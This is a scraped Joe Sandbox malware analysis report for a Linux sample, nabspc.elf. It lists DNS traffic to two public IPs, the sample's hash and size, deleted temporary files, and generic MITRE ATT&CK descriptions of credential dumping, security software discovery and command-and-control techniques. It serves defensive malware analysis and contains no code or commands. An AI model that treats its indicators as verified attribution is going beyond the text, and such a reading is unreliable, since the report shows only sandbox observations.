Nov 28, 2024 10:24:37.005162001 CET	52277	53	192.168.2.13	194.36.144.87
Nov 28, 2024 10:24:37.248647928 CET	53	52277	194.36.144.87	192.168.2.13
Nov 28, 2024 10:24:48.471785069 CET	56145	53	192.168.2.13	81.169.136.222
Nov 28, 2024 10:24:48.710946083 CET	53	56145	81.169.136.222	192.168.2.13

Start time (UTC):	09:22:52
Start date (UTC):	28/11/2024
Path:	/tmp/nabspc.elf
Arguments:	/tmp/nabspc.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nabspc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.01xvtD (deleted)

/tmp/qemu-open.0B5laD (deleted)

/tmp/qemu-open.1miyuD (deleted)

/tmp/qemu-open.2VxkCA (deleted)

/tmp/qemu-open.39X9rC (deleted)

/tmp/qemu-open.3yerSC (deleted)

/tmp/qemu-open.57JybB (deleted)

/tmp/qemu-open.5ZDtlE (deleted)

/tmp/qemu-open.6CZmME (deleted)

/tmp/qemu-open.7BBKqB (deleted)

/tmp/qemu-open.7zwCIE (deleted)

/tmp/qemu-open.8PUTEA (deleted)

/tmp/qemu-open.9aDJSB (deleted)

/tmp/qemu-open.9aIpfC (deleted)

/tmp/qemu-open.9yKdSA (deleted)

/tmp/qemu-open.AwK51A (deleted)

/tmp/qemu-open.AxTZEE (deleted)

/tmp/qemu-open.ByJmqB (deleted)

/tmp/qemu-open.CLTFQB (deleted)

/tmp/qemu-open.CMqgvB (deleted)

/tmp/qemu-open.CYaMGC (deleted)

/tmp/qemu-open.DHT82C (deleted)

/tmp/qemu-open.DLioZB (deleted)

/tmp/qemu-open.G1dUzE (deleted)

/tmp/qemu-open.GghrvB (deleted)

/tmp/qemu-open.H04aNA (deleted)

/tmp/qemu-open.HLwQiC (deleted)

/tmp/qemu-open.IKYzDA (deleted)

/tmp/qemu-open.IoVloC (deleted)

/tmp/qemu-open.Kgz6QC (deleted)

/tmp/qemu-open.KwINmC (deleted)

/tmp/qemu-open.L38YaD (deleted)

/tmp/qemu-open.M3rBJE (deleted)

/tmp/qemu-open.MPZY8D (deleted)

Linux Analysis Report
nabspc.elf

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre